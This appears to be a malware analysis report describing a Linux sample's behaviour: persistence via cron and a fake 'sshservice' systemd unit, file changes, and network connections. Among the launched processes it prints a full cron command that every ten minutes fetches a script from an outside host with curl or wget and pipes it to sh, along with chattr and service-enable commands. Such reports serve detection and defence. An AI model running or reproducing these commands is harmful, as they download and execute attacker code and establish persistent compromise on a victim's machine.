Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
- /etc/cron.d/root
- /etc/init.d/sshservice
Malicious functions:
Launches itself as a daemon
Launches processes:
- /bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
- crontab -
- <SAMPLE_FULL_PATH> [migration]
- <SAMPLE_FULL_PATH> [ata_sff]
- /bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
- chattr -i /usr/lib/systemd/system/sshservice.service
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
Performs operations with the file system:
Modifies file access rights:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.9PMoca
- /etc/cron.d/root
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
- /var/spool/cron/crontabs/tmp.3yKXNY
- /var/spool/cron/crontabs/tmp.hePjVX
- /var/spool/cron/crontabs/tmp.F4qnyd
Creates or modifies files:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.9PMoca
- /var/spool/cron/root
- /tmp/.XImunix
- /var/spool/cron/crontabs/tmp.3yKXNY
- /var/spool/cron/crontabs/tmp.hePjVX
- /var/spool/cron/crontabs/tmp.F4qnyd
- /usr/local/sbin/sshd
- /usr/lib/systemd/system/sshservice.service
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- [2########::f03c:91ff:fe70:2b9d]:9
- 17#.#8.123.25:9
HTTP GET requests:
- id##t.me/
DNS ASK:
- id##t.me
